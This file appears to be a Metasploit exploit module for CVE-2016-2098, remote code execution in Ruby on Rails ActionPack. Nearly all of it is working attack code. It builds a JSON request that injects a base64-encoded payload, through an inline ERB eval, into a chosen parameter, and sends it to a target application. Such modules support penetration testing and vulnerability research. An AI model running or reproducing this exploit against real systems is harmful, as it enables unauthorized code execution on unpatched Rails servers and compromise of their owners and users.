##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails ActionPack Inline ERB Code Execution',
'Description' => %q{
This module exploits a remote code execution vulnerability in the
inline request processor of the Ruby on Rails ActionPack component.
This vulnerability allows an attacker to process ERB to the inline
JSON processor, which is then rendered, permitting full RCE within
the runtime, without logging an error condition.
},
'Author' =>
[
'RageLtMan <rageltman[at]sempervictus>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-2098' ]
],
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DisclosureDate' => 'Mar 1 2016',
'DefaultOptions' => {
"PrependFork" => true
},
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
OptString.new('TARGETPARAM', [ true, 'The target parameter to inject with inline code', 'id'])
], self.class)
end
def json_request
code = Rex::Text.encode_base64(payload.encoded)
return {
datastore['TARGETPARAM'] => {"inline" => "<%= eval(%[#{code}].unpack(%[m0])[0]) %>"}
}.to_json
end
def exploit
print_status("Sending inline code to parameter: #{datastore['TARGETPARAM']}")
send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'ctype' => 'application/json',
'headers' => {
'Accept' => 'application/json'
},
'data' => json_request
}, 25)
end
end
